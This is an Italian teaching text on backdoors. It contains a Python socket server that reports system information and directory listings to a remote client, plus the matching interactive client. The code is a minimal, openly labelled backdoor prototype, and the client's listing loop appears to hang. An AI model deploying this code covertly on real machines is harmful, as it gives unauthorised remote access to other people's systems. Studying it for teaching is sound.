Backdoor:

Una backdoor è una vulnerabilità o un meccanismo segreto in un software che consente a un utente autorizzato o non autorizzato di bypassare l'autenticazione normale e ottenere l'accesso al sistema in modo non convenzionale. In sostanza, una backdoor è una porta segreta che permette a un attaccante di accedere al sistema senza essere rilevato.

Le backdoor possono essere inserite intenzionalmente da sviluppatori o amministratori di sistema per scopi di manutenzione o monitoraggio, ma se vengono sfruttate da persone non autorizzate, diventano una minaccia significativa per la sicurezza del sistema.

Codice 1:

Questo codice costituisce il server della backdoor. Si mette in ascolto su un indirizzo IP e una porta specificati e attende la connessione di un client. Una volta connesso, il server riceve comandi dal client, esegue azioni in base al comando ricevuto e invia i risultati al client.

Codice 2:

Questo codice costituisce il client della backdoor. L'utente inserisce l'indirizzo IP del server e la porta per connettersi. Dopo la connessione, l'utente può inserire comandi come "0" per chiudere la connessione, "1" per ottenere informazioni di sistema o "2" per elencare i contenuti di una directory sul server. I comandi inviati dal client vengono elaborati dal server, che esegue azioni corrispondenti e invia i risultati al client.

```python
import socket
import platform
import os

SRV_ADDR = "192.168.68.102"
SRV_PORT = 52140

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print("Client connesso:", address)

while True:
    try:
        data = connection.recv(1024)
        if not data:
            break

        command = data.decode('utf-8').strip()

        print("Comando ricevuto:", command)

        if command == '1':
            tosend = platform.platform() + " " + platform.machine()
            connection.sendall(tosend.encode())
        elif command == '2':
            data = connection.recv(1024)
            directory_path = data.decode('utf-8').strip()
            try:
                filelist = os.listdir(directory_path)
                tosend = ",".join(filelist)
            except:
                tosend = "Percorso errato"
            connection.sendall(tosend.encode())
        elif command == '0':
            print("Chiusura della connessione.")
            connection.close()
            connection, address = s.accept()
            print("Nuovo client connesso:", address)
    except Exception as e:
        print("Errore:", e)
        break
```

Differenze tra i due codici:

Implementazione del Server:

Nel Codice 1, il server è implementato per ascoltare continuamente e accettare nuove connessioni dopo la chiusura di una connessione precedente.

Nel Codice 2, il client si connette una sola volta e chiude la connessione alla fine dell'esecuzione.

Interazione con l'Utente:

Nel Codice 1, l'interazione con l'utente è minima, poiché il server esegue comandi senza l'input diretto dell'utente.

Nel Codice 2, l'utente interagisce attivamente inserendo comandi da tastiera.

```python
import socket

SRV_ADDR = input("Type the server IP address: ")
SRV_PORT = int(input("Type the server port: "))

def print_menu():
    print("""\n\n0) Close the connection
1) Get system info
2) List directory contents""")

my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_sock.connect((SRV_ADDR, SRV_PORT))

print("Connection established")
print_menu()

while 1:
    message = input("\n-Select an option: ")

    if message == "0":
        my_sock.sendall(message.encode())
        my_sock.close()
        break
    elif message == "1":
        my_sock.sendall(message.encode())
        data = my_sock.recv(1024)
        if not data:
            break
        print(data.decode('utf-8'))

    elif message == "2":
        path = input("Insert the path: ")
        my_sock.sendall(message.encode())
        my_sock.sendall(path.encode())
        data = b""
        while True:
            chunk = my_sock.recv(1024)
            if not chunk:
                break
            data += chunk
        data = data.decode('utf-8').split(",")
        print("*" * 40)
        for x in data:
            print(x)
        print("*" * 40)
```